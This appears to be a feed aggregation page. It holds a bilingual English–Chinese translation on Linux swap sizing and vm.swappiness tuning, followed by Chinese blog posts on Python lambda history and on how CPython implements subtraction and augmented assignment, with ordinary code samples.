If you have a bunch of disk space and a recent (4.0+) kernel, more swap is almost always better than less. In older kernels kswapd , one of the kernel processes responsible for managing swap, was historically very overeager to swap out memory aggressively the more swap you had. In recent times, swapping behaviour when a large amount of swap space is available has been significantly improved. If you're running kernel 4.0+, having a larger swap on a modern kernel should not result in overzealous swapping. As such, if you have the space, having a swap size of a few GB keeps your options open on modern kernels.

如果你有足夠大的磁盤空間和比較新的內核版本(4.0+),越大的交換空間基本上總是越好的。 更老的內核上 kswapd , 內核中負責管理交換區的內核線程,在歷史上傾向於有越多交換空間就 急於交換越多內存出去。在最近一段時間,可用交換空間很大的時候的交換行爲已經改善了很多。 如果在運行 4.0+ 以後的內核,即便有很大的交換區在現代內核上也不會很激進地做交換。因此, 如果你有足夠的容量,現代內核上有個幾個 GB 的交換空間大小能讓你有更多選擇。

If you're more constrained with disk space, then the answer really depends on the tradeoffs you have to make, and the nature of the environment. Ideally you should have enough swap to make your system operate optimally at normal and peak (memory) load. What I'd recommend is setting up a few testing systems with 2-3GB of swap or more, and monitoring what happens over the course of a week or so under varying (memory) load conditions. As long as you haven't encountered severe memory starvation during that week – in which case the test will not have been very useful – you will probably end up with some number of MB of swap occupied. As such, it's probably worth having at least that much swap available, in addition to a little buffer for changing workloads. atop in logging mode can also show you which applications are having their pages swapped out in the SWAPSZ column, so if you don't already use it on your servers to log historic server state you probably want to set it up on these test machines with logging mode as part of this experiment. This also tells you when your application started swapping out pages, which you can tie to log events or other key data.

如果你的磁盤空間有限,那麼答案更多取決於你願意做的取捨,以及運行的環境。理想上應該有足夠的交換空間 能高效應對正常負載和高峰(內存)負載。我建議先用 2-3GB 或者更多的交換空間搭個測試環境, 然後監視在不同(內存)負載條件下持續一週左右的情況。只要在那一週裏沒有發生過嚴重的內存不足—— 發生了的話說明測試結果沒什麼用——在測試結束的時候大概會留有多少 MB 交換區佔用。 作爲結果說明你至少應該有那麼多可用的交換空間,再多加一些以應對負載變化。用日誌模式跑 atop 可以在 SWAPSZ 欄顯示程序的頁面被交換出去的情況,所以如果你還沒用它記錄服務器歷史日誌的話 ,這次測試中可以試試在測試機上用它記錄日誌。這也會告訴你什麼時候你的程序開始換出頁面,你可以用這個 對照事件日誌或者別的關鍵數據。

Another thing worth considering is the nature of the swap medium. Swap reads tend to be highly random, since we can't reliably predict which pages will be refaulted and when. On an SSD this doesn't matter much, but on spinning disks, random I/O is extremely expensive since it requires physical movement to achieve. On the other hand, refaulting of file pages is likely less random, since files related to the operation of a single application at runtime tend to be less fragmented. This might mean that on a spinning disk you may want to bias more towards reclaiming file pages instead of swapping out anonymous pages, but again, you need to test and evaluate how this balances out for your workload.

另一點值得考慮的是交換空間所在存儲設備的媒介。讀取交換區傾向於很隨機,因爲我們不能可靠預測什麼時候 什麼頁面會被再次訪問。在 SSD 上這不是什麼問題,但是在傳統磁盤上,隨機 I/O 操作會很昂貴, 因爲需要物理動作尋道。另一方面,重新加載文件緩存可能不那麼隨機,因爲單一程序在運行期的文件讀操作 一般不會太碎片化。這可能意味着在傳統磁盤上你想更多地回收文件頁面而不是換出匿名頁面,但仍舊, 你需要做測試評估在你的工作負載下如何取得平衡。

譯註:關於休眠到磁盤時的交換空間大小
原文這裏建議交換空間至少是物理內存大小,我覺得實際上不需要。休眠到磁盤的時候內核會寫回並丟棄 所有有文件作後備的可回收頁面,交換區只需要能放下那些沒有文件後備的頁面就可以了。 如果去掉文件緩存頁面之後剩下的已用物理內存總量能完整放入交換區中,就可以正常休眠。 對於桌面瀏覽器這種內存大戶,通常有很多緩存頁可以在休眠的時候丟棄。
For laptop/desktop users who want to hibernate to swap, this also needs to be taken into account – in this case your swap file should be at least your physical RAM size.

對筆記本/桌面用戶如果想要休眠到交換區,這也需要考慮——這種情況下你的交換文件應該至少是物理內存大小。

我的 swappiness 應該如何設置?

First, it's important to understand what vm.swappiness does. vm.swappiness is a sysctl that biases memory reclaim either towards reclamation of anonymous pages, or towards file pages. It does this using two different attributes: file_prio (our willingness to reclaim file pages) and anon_prio (our willingness to reclaim anonymous pages). vm.swappiness`plays into this, as it becomes the default value for :code:`anon_prio , and it also is subtracted from the default value of 200 for file_prio , which means for a value of vm.swappiness = 50 , the outcome is that anon_prio is 50, and file_prio is 150 (the exact numbers don't matter as much as their relative weight compared to the other).

首先很重要的一點是,要理解 vm.swappiness 是做什麼的。 vm.swappiness 是一個 sysctl 用來控制在內存回收的時候,是優先回收匿名頁面, 還是優先回收文件頁面。內存回收的時候用兩個屬性: file_prio (回收文件頁面的傾向) 和 anon_prio (回收匿名頁面的傾向)。 vm.swappiness 控制這兩個值, 因爲它是 anon_prio 的默認值,然後也是默認 200 減去它之後 file_prio 的默認值。 意味着如果我們設置 vm.swappiness = 50 那麼結果是 anon_prio 是 50, file_prio 是 150 (這裏數值本身不是很重要,重要的是兩者之間的權重比)。

譯註:關於 SSD 上的 swappiness

原文這裏說 SSD 上 swap 和 drop page cache 差不多開銷所以 vm.swappiness = 100 。我覺得實際上要考慮 swap out 的時候會產生寫入操作,而 drop page cache 可能不需要寫入( 要看頁面是否是髒頁)。如果負載本身對I/O帶寬比較敏感,稍微調低 swappiness 可能對性能更好, 內核的默認值 60 是個不錯的默認值。以及桌面用戶可能對性能不那麼關心,反而更關心 SSD 的寫入壽命,雖然說 SSD 寫入壽命一般也足夠桌面用戶,不過調低 swappiness 可能也能減少一部分不必要的寫入(因爲寫回髒頁是必然會發生的,而寫 swap 可以避免)。 當然太低的 swappiness 會對性能有負面影響(因爲太多匿名頁面留在物理內存裏而降低了緩存命中率) ,這裏的權衡也需要根據具體負載做測試。

另外澄清一點誤解, swap 分區還是 swap 文件對系統運行時的性能而言沒有差別。或許有人會覺得 swap 文件要經過文件系統所以會有性能損失,在譯文之前譯者說過 Linux 的內存管理子系統基本上獨立於文件系統。 實際上 Linux 上的 swapon 在設置 swap 文件作爲交換空間的時候會讀取一次文件系統元數據, 確定 swap 文件在磁盤上的地址範圍,隨後運行的過程中做交換就和文件系統無關了。關於 swap 空間是否連續的影響,因爲 swap 讀寫基本是頁面單位的隨機讀寫,所以即便連續的 swap 空間(swap 分區)也並不能改善 swap 的性能。希疏文件的地址範圍本身不連續,寫入希疏文件的空洞需要 文件系統分配磁盤空間,所以在 Linux 上交換文件不能是希疏文件。只要不是希疏文件, 連續的文件內地址範圍在磁盤上是否連續(是否有文件碎片)基本不影響能否 swapon 或者使用 swap 時的性能。

This means that, in general, vm.swappiness is simply a ratio of how costly reclaiming and refaulting anonymous memory is compared to file memory for your hardware and workload. The lower the value, the more you tell the kernel that infrequently accessed anonymous pages are expensive to swap out and in on your hardware. The higher the value, the more you tell the kernel that the cost of swapping anonymous pages and file pages is similar on your hardware. The memory management subsystem will still try to mostly decide whether it swaps file or anonymous pages based on how hot the memory is, but swappiness tips the cost calculation either more towards swapping or more towards dropping filesystem caches when it could go either way. On SSDs these are basically as expensive as each other, so setting vm.swappiness = 100 (full equality) may work well. On spinning disks, swapping may be significantly more expensive since swapping in generally requires random reads, so you may want to bias more towards a lower value.

這意味着,通常來說 vm.swappiness 只是一個比例,用來衡量在你的硬件和工作負載下, 回收和換回匿名內存還是文件內存哪種更昂貴 。設定的值越低,你就是在告訴內核說換出那些不常訪問的 匿名頁面在你的硬件上開銷越昂貴;設定的值越高,你就是在告訴內核說在你的硬件上交換匿名頁和 文件緩存的開銷越接近。內存管理子系統仍然還是會根據實際想要回收的內存的訪問熱度嘗試自己決定具體是 交換出文件還是匿名頁面,只不過 swappiness 會在兩種回收方式皆可的時候,在計算開銷權重的過程中左右 是該更多地做交換還是丟棄緩存。在 SSD 上這兩種方式基本上是同等開銷,所以設成 vm.swappiness = 100 (同等比重)可能工作得不錯。在傳統磁盤上,交換頁面可能會更昂貴, 因爲通常需要隨機讀取,所以你可能想要設低一些。

The reality is that most people don't really have a feeling about which their hardware demands, so it's non-trivial to tune this value based on instinct alone – this is something that you need to test using different values. You can also spend time evaluating the memory composition of your system and core applications and their behaviour under mild memory reclamation.

現實是大部分人對他們的硬件需求沒有什麼感受,所以根據直覺調整這個值可能挺困難的 —— 你需要用不同的值做測試。你也可以花時間評估一下你的系統的內存分配情況和核心應用在大量回收內存的時候的行爲表現。

When talking about vm.swappiness , an extremely important change to consider from recent(ish) times is this change to vmscan by Satoru Moriya in 2012 , which changes the way that vm.swappiness = 0 is handled quite significantly.

討論 vm.swappiness 的時候,一個極爲重要需要考慮的修改是(相對)近期在 2012 年左右 Satoru Moriya 對 vmscan 行爲的修改 ,它顯著改變了代碼對 vm.swappiness = 0 這個值的處理方式。

Essentially, the patch makes it so that we are extremely biased against scanning (and thus reclaiming) any anonymous pages at all with vm.swappiness = 0 , unless we are already encountering severe memory contention. As mentioned previously in this post, that's generally not what you want, since this prevents equality of reclamation prior to extreme memory pressure occurring, which may actually lead to this extreme memory pressure in the first place. vm.swappiness = 1 is the lowest you can go without invoking the special casing for anonymous page scanning implemented in that patch.

基本上來說這個補丁讓我們在 vm.swappiness = 0 的時候會極度避免掃描(進而回收)匿名頁面, 除非我們已經在經歷嚴重的內存搶佔。就如本文前面所屬,這種行爲基本上不會是你想要的, 因爲這種行爲會導致在發生內存搶佔之前無法保證內存回收的公平性,這甚至可能是最初導致發生內存搶佔的原因。 想要避免這個補丁中對掃描匿名頁面的特殊行爲的話, vm.swappiness = 1 是你能設置的最低值。

The kernel default here is vm.swappiness = 60 . This value is generally not too bad for most workloads, but it's hard to have a general default that suits all workloads. As such, a valuable extension to the tuning mentioned in the "how much swap do I need" section above would be to test these systems with differing values for vm.swappiness , and monitor your application and system metrics under heavy (memory) load. Some time in the near future, once we have a decent implementation of refault detection in the kernel, you'll also be able to determine this somewhat workload-agnostically by looking at cgroup v2's page refaulting metrics.

內核在這裏設置的默認值是 vm.swappiness = 60 。這個值對大部分工作負載來說都不會太壞, 但是很難有一個默認值能符合所有種類的工作負載。因此,對上面「 那麼,我需要多少交換空間? 」那段討論的一點重要擴展可以說,在測試系統中可以嘗試使用不同的 vm.swappiness ,然後監視你的程序和系統在重(內存)負載下的性能指標。在未來某天,如果我們在內核中有了合理的 缺頁檢測 ,你也將能通過 cgroup v2 的頁面缺頁 指標來以負載無關的方式決定這個。

2019年07月更新:內核 4.20+ 中的內存壓力指標

The refault metrics mentioned as in development earlier are now in the kernel from 4.20 onwards and can be enabled with CONFIG_PSI=y . See my talk at SREcon at around the 25:05 mark:

前文中提到的開發中的內存缺頁檢測指標已經進入 4.20+ 以上版本的內核,可以通過 CONFIG_PSI=y 開啓。詳情參見我在 SREcon 大約 25:05 左右的討論。

結論

  • Swap is a useful tool to allow equality of reclamation of memory pages, but its purpose is frequently misunderstood, leading to its negative perception across the industry. If you use swap in the spirit intended, though – as a method of increasing equality of reclamation – you'll find that it's a useful tool instead of a hindrance.
  • Disabling swap does not prevent disk I/O from becoming a problem under memory contention, it simply shifts the disk I/O thrashing from anonymous pages to file pages. Not only may this be less efficient, as we have a smaller pool of pages to select from for reclaim, but it may also contribute to getting into this high contention state in the first place.
  • Swap can make a system slower to OOM kill, since it provides another, slower source of memory to thrash on in out of memory situations – the OOM killer is only used by the kernel as a last resort, after things have already become monumentally screwed. The solutions here depend on your system:
    • You can opportunistically change the system workload depending on cgroup-local or global memory pressure. This prevents getting into these situations in the first place, but solid memory pressure metrics are lacking throughout the history of Unix. Hopefully this should be better soon with the addition of refault detection.
    • You can bias reclaiming (and thus swapping) away from certain processes per-cgroup using memory.low, allowing you to protect critical daemons without disabling swap entirely.
  • 交換區是允許公平地回收內存的有用工具,但是它的目的經常被人誤解,導致它在業內這種負面聲譽。如果 你是按照原本的目的使用交換區的話——作爲增加內存回收公平性的方式——你會發現它是很有效的工具而不是阻礙。
  • 禁用交換區並不能在內存競爭的時候防止磁盤I/O的問題,它只不過把匿名頁面的磁盤I/O變成了文件頁面的 磁盤I/O。這不僅更低效,因爲我們回收內存的時候能選擇的頁面範圍更小了,而且它可能是導致高度內存競爭 狀態的元兇。
  • 有交換區會導致系統更慢地使用 OOM 殺手,因爲在缺少內存的情況下它提供了另一種更慢的內存, 會持續地內存顛簸——內核調用 OOM 殺手只是最後手段,會晚於所有事情已經被搞得一團糟之後。 解決方案取決於你的系統:
    • 你可以預先更具每個 cgroup 的或者系統全局的內存壓力改變系統負載。這能防止我們最初進入內存競爭 的狀態,但是 Unix 的歷史中一直缺乏可靠的內存壓力檢測方式。希望不久之後在有了 缺頁檢測 這樣的性能指標之後能改善這一點。
    • 你可以使用 memory.low 讓內核不傾向於回收(進而交換)特定一些 cgroup 中的進程, 允許你在不禁用交換區的前提下保護關鍵後臺服務。

感謝在撰寫本文時 RahulTejunJohannes 提供的諸多建議和反饋。

by farseerfc at September 30, 2020 04:45 AM

September 20, 2020

pythoncat

Python 之父为什么嫌弃 lambda 匿名函数?

Python 支持 lambda 匿名函数,其扩展的 BNF 表示法是lambda_expr ::= "lambda" [parameter_list] ":" expression ,也就是 lambda 参数序列:表达式
这是一种便捷的函数定义方式,若翻译成我们熟知的函数形式,会是这个样子:
def (parameter_list):
    return expression
也就是说,Python 中的 lambda 函数是一种可接收多个参数的函数,返回值是一个表达式。
它最大的好处是单行简洁,不需要函数命名与换行缩进。
不得不说,匿名函数有时候是挺好用的,比如下文会介绍到的一些常见用法,它因此受到了不少人的推崇。
但是,匿名函数通常也会造成代码难以阅读,容易被人滥用,再加上 Python 只提供了对它的“残疾的”支持,所以又有一些观点不建议使用匿名函数。
事实上,Python 之父 Guido van Rossum 就属于“不推荐使用派”,他甚至曾经(2005年)想要移除 lambda,只不过最后妥协了。
lambda 这一个由其他开发者贡献进来的特性(借鉴自 lisp 语言),存在了十多年,但是却被这门语言的创造者(兼首席设计师)所嫌弃,最后竟然还奇迹般地幸存了下来,对于这个故事,大家是否觉得挺有戏剧性的?
接下来,本文就仔细聊一聊这个处境尴尬却生命力顽强的 lambda 匿名函数吧!

1、lambda 怎么使用?

lambda 函数通常的用法是结合 map()、reduce()、filter()、sorted() 等函数一起使用,这些函数的共性是:都可以接收其它函数作为参数。
例如下面的几个例子:
my_list = [3, 1, 5, 4, 10]

# 元素全加1,结果:[4, 2, 6, 5, 11]
list(map(lambda i:i+1, my_list)) 

# 过滤小于10的元素,结果:[3, 1, 5, 4]
list(filter(lambda i:i<10, my_list)) 

# 元素累加,结果:33
from functools import reduce
reduce(lambda i,j:i+j, my_list, 10)

# 字典按值排序,结果:[('b', 1), ('a', 3), ('d', 4), ('c', 5)]
my_dict = {'a':3, 'b':1, 'c':5, 'd':4}
sorted(my_dict.items(), key=lambda item:item[1])
初学者也许会觉得代码读不懂,但是只要记住“Python中的函数是一等公民”,知道一个函数可以被作为另一个函数的参数或者返回值,就容易理解了。
比如对于 map() 函数的例子,你可以理解成这个形式:
my_func = lambda i:i+1
list(map(my_func, my_list)) 
甚至可以还原成普通的函数:
def add_one(i):
	return i+1

list(map(add_one, my_list)) 
map() 函数的第一个参数是一个函数,第二个参数是一个可迭代对象。这第一个参数会迭代地调用第二个参数中的元素,调用的结果以迭代器的形式返回。
这个例子使用了 list(),是为了方便一次性取出迭代器中的元素,直观地展示出来,在实际使用中,很可能会是基于迭代器的形式。
由这几种用法,我们可以总结出 lambda 函数的使用规律:
  • 它出现在需要使用函数的地方
  • 它适合实现简单的功能
  • 它是一次性的用途,不能在其它地方复用
  • 它一般不会被独立使用,总是作为其它函数的一部分

2、lambda 有什么问题?

由上面的用法可以看出,使用 lambda 函数的代码比较紧凑简洁,所以有人称它体现了“Pythonic”的优雅思想。
但是,lambda 函数有没有什么缺陷呢?
有!当前的 lambda 函数有一个最大的问题,即只支持单行表达式,无法实现丰富的功能,例如无法在函数创建时使用语句(statement),无法使用 if-else 的判断条件,也无法使用 try-except 的异常捕获机制,等等。
这极大地限制了它的能力,导致了它被人诟病为“残疾的”。
从技术实现的角度上看, 这个问题可以通过语法层面的设计来解决。
在当年的邮件组讨论中,有人提出过一些解决思路,比如这封邮件:
它提出了一个lambda args::suite 的想法,支持写成这样的形式:
ss = sorted(seq, key=(lambda x::
            try: return abs(x)
            except TypeError: return 0))
但是,Guido 很快就否决了这个思路。
他写了一篇文章《Language Design Is Not Just Solving Puzzles》来回应:
其基本观点是:不能光顾着解决一个问题/实现某种功能,就引入缺乏“Pythonicity”的语言设计。
那么,为什么 Guido 会认为这是一种不好的设计呢?
我试着概括一下,理由是:
  • 双冒号“::”凭空在此引入,但是跟切片语法中的“::”完全不同,而且跟 C++/Perl 中的作用域操作符用法也不同
  • 即使不用双冒号,用其它符号表示(比如单冒号),还是难以接受,因为都会在一个表达式中嵌入缩进代码块。这就跟使用花括号和 begin/end 关键字来作语句分组(statement grouping)一样,都令人难以接受
  • 在 lambda 中实现其它功能并不重要,这还会让解析器变得复杂(需区分是否有缩进、记录缩进级别),显得小题大做了
简而言之,他认为简洁友好的用户体验更为重要,如果简洁的语法无法满足需求,就应该写成具名函数的形式,而非设计出复杂的匿名函数。

3、为什么 Guido 想移除 lambda?

上文提到的多行 lambda 语句(multi-statement lambda)事件发生在 2006 年,我们看到了 Guido 不想给 lambda 引入复杂设计的原因。
但是,早在 2005 年,Guido 就曾经想要从 Python 移除 lambda,他对它的“嫌弃”是一个“历史悠久”的传统……
在《The fate of reduce() in Python 3000》这篇短文中,Guido 提出要一次性移除 reduce()、map()、filter() 以及 lambda。
移除 lambda 的理由如下:
  • 对于不熟悉 Lisp 或 Scheme 的用户,lambda 这名字容易造成混淆
  • 很多人误以为匿名函数能做嵌套函数不能做的事,但其实并无区别;存在lambda,就会造成不必要的选择,减少选择,可以简化思维
  • 移除 reduce()、map() 和 filter() 后,就没必要写简短的局部函数了
回顾一下我们在前文中总结出的 lambda 的 4 条使用规律,可以发现它跟几个高阶函数(可以接收其它函数作为参数的函数)有较强的“寄生关系”,如果它们能移除了的话,lambda 确实就没有什么独立存留的意义了。
那么,为什么 Guido 觉得应该移除那几个高阶函数呢?
主要的理由有:
  • 可以替换成更加清晰的列表解析式或者生成器表达式,例如 filter(P,S) 可以写成 [x for x in S if P(x)],map(F, S) 写成 [F(x) for x in S]
  • 至于 reduce(),他说这是最讨厌的,除了涉及 + 和 * 的少数用法,其它时候他总要拿出纸笔来画图解才能搞清楚。除了显式地写循环,他还针对 reduce() 的几种用法而提出了几个替代用法,包括引入新的 any() 和 all() 函数
总体而言,Guido 的想法暗合了《The Zen of Python》中的这一条:There should be one— and preferably only one —obvious way to do it。
但是回到现实,为了照顾某些人的习惯,以及对兼容性的考虑,Guido 最后保守地放弃了“清理异端”的计划。
因此,lambda 得以从 Python 最高独裁者的手上死里逃生。直到一年后,它试图兴风作浪(多行表达式),却惨遭镇压。
我仿佛听到了 Guido 的内心 OS:当初我想删除东西的时候,你们百般阻挠,现在你们想添加东西,哼,没门!……
哈哈,开了个玩笑。
Guido 的所有决定都体现了他的 Pythonic 设计美学、自恰的逻辑一致性以及对社区声音的权衡。
对于 lambda,我认可他的观点,而通过回溯语法发展的历史,我觉得自己对于 Python 的理解变得更为丰富了。不知道你可有同感?

September 20, 2020 12:00 AM

September 10, 2020

pythoncat

详解增强算术赋值:“-=”操作是怎么实现的?

作者 | Brett Cannon
译者 | 豌豆花下猫(“Python猫”公众号作者)
声明 | 本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。

序言

本文是 Python语法糖 系列文章之一。最新的源代码可以在 desugar 项目中找到(https://github.com/brettcannon/desugar)。

介绍

Python 有一种叫做增强算术赋值(augmented arithmetic assignment)的东西。可能你不熟悉这个叫法,其实就是在做数学运算的同时进行赋值,例如 a -= b 就是减法的增强算术赋值。
增强赋值是在 Python 2.0 版本中 加入进来的。(译注:在 PEP-203 中引入)

剖析-=

因为 Python 不允许覆盖式赋值,所以相比其它有特殊/魔术方法的操作,它实现增强赋值的方式可能跟你想象的不完全一样。
首先,要知道a -= b在语义上与 a = a-b 相同。但也要意识到,如果你预先知道要将一个对象赋给一个变量名,相比a - b 的盲操作,就可能会更高效。
例如,最起码的好处是可以避免创建一个新对象:如果可以就地修改一个对象,那么返回 self,就比重新构造一个新对象要高效。
因此,Python 提供了一个__isub__() 方法。如果它被定义在赋值操作的左侧(通常称为 lvalue),则会调用右侧的值(通常称为 rvalue )。所以对于a -= b ,就会尝试去调用 a.__isub__(b)。
如果调用的结果是 NotImplemented,或者根本不存在结果,那么 Python 会退回到常规的二元算术运算a - b。(译注:作者关于二元运算的文章,译文在此
最终无论用了哪种方法,返回值都会被赋值给 a。
下面是简单的伪代码,a -= b 被分解成:
# 实现 a -= b 的伪代码
if hasattr(a, "__isub__"):
    _value = a.__isub__(b)
    if _value is not NotImplemented:
        a = _value
    else:
        a = a - b
    del _value
 else:
     a = a - b

归纳这些方法

由于我们已经实现了二元算术运算,因此归纳增强算术运算并不太复杂。
通过传入二元算术运算函数,并做一些自省(以及处理可能发生的 TypeError),它可以被漂亮地归纳成:
def _create_binary_inplace_op(binary_op: _BinaryOp) -> Callable[[Any, Any], Any]:

    binary_operation_name = binary_op.__name__[2:-2]
    method_name = f"__i{binary_operation_name}__"
    operator = f"{binary_op._operator}="

    def binary_inplace_op(lvalue: Any, rvalue: Any, /) -> Any:
        lvalue_type = type(lvalue)
        try:
            method = debuiltins._mro_getattr(lvalue_type, method_name)
        except AttributeError:
            pass
        else:
            value = method(lvalue, rvalue)
            if value is not NotImplemented:
                return value
        try:
            return binary_op(lvalue, rvalue)
        except TypeError as exc:
            # If the TypeError is due to the binary arithmetic operator, suppress
            # it so we can raise the appropriate one for the agumented assignment.
            if exc._binary_op != binary_op._operator:
                raise
        raise TypeError(
            f"unsupported operand type(s) for {operator}: {lvalue_type!r} and {type(rvalue)!r}"
        )

    binary_inplace_op.__name__ = binary_inplace_op.__qualname__ = method_name
    binary_inplace_op.__doc__ = (
        f"""Implement the augmented arithmetic assignment `a {operator} b`."""
    )
    return binary_inplace_op
这使得定义的 -= 支持 _create_binary_inplace_op(__ sub__),且可以推断出其它内容:函数名、调用什么 __i*__ 函数,以及当二元算术运算出问题时,该调用哪个可调用对象。

我发现几乎没有人使用**=

在写本文的代码时,我碰上了 **= 的一个奇怪的测试错误。在所有确保 __pow__ 会被适当地调用的测试中,有个测试用例对于 Python 标准库中的operator 模块却是失败。
我的代码通常没问题,如果代码与 CPython 的代码之间存在差异,通常会意味着是我哪里出错了。
但是,无论我多么仔细地排查代码,我都无法定位出为什么我的测试会通过,而标准库则失败。
我决定深入地了解 CPython 内部发生了什么。从反汇编字节码开始:
>>> def test(): a **= b
... 
>>> import dis
>>> dis.dis(test)
  1           0 LOAD_FAST                0 (a)
              2 LOAD_GLOBAL              0 (b)
              4 INPLACE_POWER
              6 STORE_FAST               0 (a)
              8 LOAD_CONST               0 (None)
             10 RETURN_VALUE
通过它,我找到了在 eval 循环中的INPLACE_POWER
        case TARGET(INPLACE_POWER): {
            PyObject *exp = POP();
            PyObject *base = TOP();
            PyObject *res = PyNumber_InPlacePower(base, exp, Py_None);
            Py_DECREF(base);
            Py_DECREF(exp);
            SET_TOP(res);
            if (res == NULL)
                goto error;
            DISPATCH();
        }
然后找到PyNumber_InPlacePower()
PyObject *
PyNumber_InPlacePower(PyObject *v, PyObject *w, PyObject *z)
{
    if (v->ob_type->tp_as_number &&
        v->ob_type->tp_as_number->nb_inplace_power != NULL) {
        return ternary_op(v, w, z, NB_SLOT(nb_inplace_power), "**=");
    }
    else {
        return ternary_op(v, w, z, NB_SLOT(nb_power), "**=");
    }
}
松了口气~代码显示如果定义了__ipow__,则会调用它,但是只在没有__ipow__ 时,才会调用__pow__。
然而,正确的做法应该是:如果调用__ipow__ 时出问题,返回了 NotImplemented 或者根本不存在返回,那么就应该调用 __pow__ 和__rpow__。
换句话说,当存在__ipow__ 时,以上代码会意外地跳过 a**b 的后备语义!
实际上,大约11个月前,这个问题被部分地发现,并提交了 bug。我修复了该问题,并在 python-dev 上作了说明。
截至目前,这似乎会在 Python 3.10 中修复,我们还需要在 3.8 和 3.9 的文档中添加关于 **= 有 bug 的通知(该问题可能很早就有了,但较旧的 Python 版本已处于仅安全维护模式,因此文档不会变更)。
修复的代码很可能不会被移植,因为它是语义上的变化,并且很难判断是否有人意外地依赖了有问题的语义。但是这个问题花了很长时间才被注意到,这就表明 **= 的使用并不广泛,否则问题早就被发现了。

September 10, 2020 12:00 AM

September 09, 2020

pythoncat

详解 Python 的二元算术运算,为什么说减法只是语法糖?

作者 | Brett Cannon
译者 | 豌豆花下猫(“Python猫”公众号作者)
声明 | 本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。
大家对我解读属性访问的博客文章反应热烈,这启发了我再写一篇关于 Python 有多少语法实际上只是语法糖的文章。在本文中,我想谈谈二元算术运算。
具体来说,我想解读减法的工作原理:a - b。我故意选择了减法,因为它是不可交换的。这可以强调出操作顺序的重要性,与加法操作相比,你可能会在实现时误将 a 和 b 翻转,但还是得到相同的结果。

查看 C 代码

按照惯例,我们从查看 CPython 解释器编译的字节码开始。
>>> def sub(): a - b
... 
>>> import dis
>>> dis.dis(sub)
  1           0 LOAD_GLOBAL              0 (a)
              2 LOAD_GLOBAL              1 (b)
              4 BINARY_SUBTRACT
              6 POP_TOP
              8 LOAD_CONST               0 (None)
             10 RETURN_VALUE
看起来我们需要深入研究 BINARY_SUBTRACT 操作码。翻查 Python/ceval.c 文件,可以看到实现该操作码的 C 代码如下:
case TARGET(BINARY_SUBTRACT): {
    PyObject *right = POP();
    PyObject *left = TOP();
    PyObject *diff = PyNumber_Subtract(left, right);
    Py_DECREF(right);
    Py_DECREF(left);
    SET_TOP(diff);
    if (diff == NULL)
    goto error;
    DISPATCH();
}
这里的关键代码是PyNumber_Subtract(),实现了减法的实际语义。继续查看该函数的一些宏,可以找到binary_op1() 函数。它提供了一种管理二元操作的通用方法。
不过,我们不把它作为实现的参考,而是要用Python的数据模型,官方文档很好,清楚介绍了减法所使用的语义。

从数据模型中学习

通读数据模型的文档,你会发现在实现减法时,有两个方法起到了关键作用:__sub____rsub__

1、__sub__()方法

当执行a - b 时,会在 a 的类型中查找__sub__(),然后把 b 作为它的参数。这很像我写属性访问的文章 里的__getattribute__(),特殊/魔术方法是根据对象的类型来解析的,并不是出于性能目的而解析对象本身;在下面的示例代码中,我使用_mro_getattr() 表示此过程。
因此,如果已定义 __sub__(),则 type(a).__sub__(a,b) 会被用来作减法操作。(译注:魔术方法属于对象的类型,不属于对象)
这意味着在本质上,减法只是一个方法调用!你也可以将它理解成标准库中的 operator.sub() 函数。
我们将仿造该函数实现自己的模型,用 lhs 和 rhs 两个名称,分别表示 a-b 的左侧和右侧,以使示例代码更易于理解。
# 通过调用__sub__()实现减法 
def sub(lhs: Any, rhs: Any, /) -> Any:
    """Implement the binary operation `a - b`."""
    lhs_type = type(lhs)
    try:
        subtract = _mro_getattr(lhs_type, "__sub__")
    except AttributeError:
        msg = f"unsupported operand type(s) for -: {lhs_type!r} and {type(rhs)!r}"
        raise TypeError(msg)
    else:
        return subtract(lhs, rhs)

2、让右侧使用__rsub__()

但是,如果 a 没有实现__sub__() 怎么办?如果 a 和 b 是不同的类型,那么我们会尝试调用 b 的 __rsub__()(__rsub__ 里面的“r”表示“右”,代表在操作符的右侧)。
当操作的双方是不同类型时,这样可以确保它们都有机会尝试使表达式生效。当它们相同时,我们假设__sub__() 就能够处理好。但是,即使两边的实现相同,你仍然要调用__rsub__(),以防其中一个对象是其它的(子)类。

3、不关心类型

现在,表达式双方都可以参与运算!但是,如果由于某种原因,某个对象的类型不支持减法怎么办(例如不支持 4 - “stuff”)?在这种情况下,__sub__ 或__rsub__ 能做的就是返回 NotImplemented。
这是给 Python 返回的信号,它应该继续执行下一个操作,尝试使代码正常运行。对于我们的代码,这意味着需要先检查方法的返回值,然后才能假定它起作用。
# 减法的实现,其中表达式的左侧和右侧均可参与运算
_MISSING = object()

def sub(lhs: Any, rhs: Any, /) -> Any:
        # lhs.__sub__
        lhs_type = type(lhs)
        try:
            lhs_method = debuiltins._mro_getattr(lhs_type, "__sub__")
        except AttributeError:
            lhs_method = _MISSING

        # lhs.__rsub__ (for knowing if rhs.__rub__ should be called first)
        try:
            lhs_rmethod = debuiltins._mro_getattr(lhs_type, "__rsub__")
        except AttributeError:
            lhs_rmethod = _MISSING

        # rhs.__rsub__
        rhs_type = type(rhs)
        try:
            rhs_method = debuiltins._mro_getattr(rhs_type, "__rsub__")
        except AttributeError:
            rhs_method = _MISSING

        call_lhs = lhs, lhs_method, rhs
        call_rhs = rhs, rhs_method, lhs

        if lhs_type is not rhs_type:
            calls = call_lhs, call_rhs
        else:
            calls = (call_lhs,)

        for first_obj, meth, second_obj in calls:
            if meth is _MISSING:
                continue
            value = meth(first_obj, second_obj)
            if value is not NotImplemented:
                return value
        else:
            raise TypeError(
                f"unsupported operand type(s) for -: {lhs_type!r} and {rhs_type!r}"
            )

4、子类优先于父类

如果你看一下__rsub__() 的文档,就会注意到一条注释。它说如果一个减法表达式的右侧是左侧的子类(真正的子类,同一类的不算),并且两个对象的__rsub__() 方法不同,则在调用__sub__() 之前会先调用__rsub__()。换句话说,如果 b 是 a 的子类,调用的顺序就会被颠倒。
这似乎是一个很奇怪的特例,但它背后是有原因的。当你创建一个子类时,这意味着你要在父类提供的操作上注入新的逻辑。这种逻辑不一定要加给父类,否则父类在对子类操作时,就很容易覆盖子类想要实现的操作。
具体来说,假设有一个名为 Spam 的类,当你执行 Spam() - Spam() 时,得到一个 LessSpam 的实例。接着你又创建了一个 Spam 的子类名为 Bacon,这样,当你用 Spam 去减 Bacon 时,你得到的是 VeggieSpam。
